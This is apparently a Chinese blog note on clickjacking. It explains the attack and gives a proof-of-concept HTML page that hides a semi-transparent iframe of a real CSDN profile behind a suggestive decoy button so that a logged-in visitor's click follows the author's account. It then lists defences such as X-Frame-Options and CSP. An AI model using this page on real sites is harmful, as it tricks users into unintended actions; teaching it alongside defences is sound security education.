赞
踩
参考:https://blog.csdn.net/lady_killer9/article/details/108017437
仅作为笔记,侵删
2008年,安全专家Robert Hansen 与Jeremiah Grossman发现了一种被他们称为点击劫持(ClickJacking)的攻击。他们准备在OWASP安全大会上公布并进行演示,但是由于很多平台都中了招,包括Adobe在内的厂商要求在漏洞修补前不要公开此问题。
点击劫持是视觉欺骗,用户只看到了底层页面,与页面进行交互时却是与上层页面在交互。这是由于透明的iframe造成的,通过控制iframe的位置,导致上层页面的按钮等覆盖到下层上。
点击劫持,原理示意图
注:红色按钮(上层页面中的)应该是完全覆盖在黄色按钮(底层页面中的),由于看的不是很清楚,我稍微错位了一下。
代码:
<html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <head> <title>点击劫持 POC</title> <style> iframe { width: 1440px; height: 1000px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0.5; filter: alpha(opacity=0); } button { position: absolute; top: 180px; left: 1250px; z-index: 1; width: 80px; height:20px; } </style> </head> <body> <button>点击脱衣</button> <img src="http://image.bamen.bbs.bamenzhushou.com/ec793a68-b110-4f44-a122-76789344cd71.jpg"> <iframe src="https://blog.csdn.net/qq_50854790" scrolling="no"></iframe> </body> </html>
opacity为0.5,即上层页面为半透明状态。
0透明度,上层页面完全无法看见,这时如果你登录csdn后点击"点击进行互动"按钮,就会关注我。
Flash点击劫持
图片覆盖攻击(XSIO)
拖拽劫持,主要用于数据窃取
触屏劫持(TapJacking)
防御
X-FRAME-OPTIONS是目前最可靠的方法。在返回头中设置 X-FRAME-OPTIONS。
X-Frame-Options 可以有以下这些值:
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
frame busting
js编写的,防御效果不好,可绕过。
DENY:禁止iframe,浏览器拒绝当前页面加载任何iframe页面。
SAMEORIGIN:只允许相同域名下的网页iframe,同源政策保护。
ALLOW-FROM: 白名单限制。
Content Security Policy
“网页安全政策”(Content Security Policy,缩写 CSP),一种白名单制度。
NoScript扩展
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。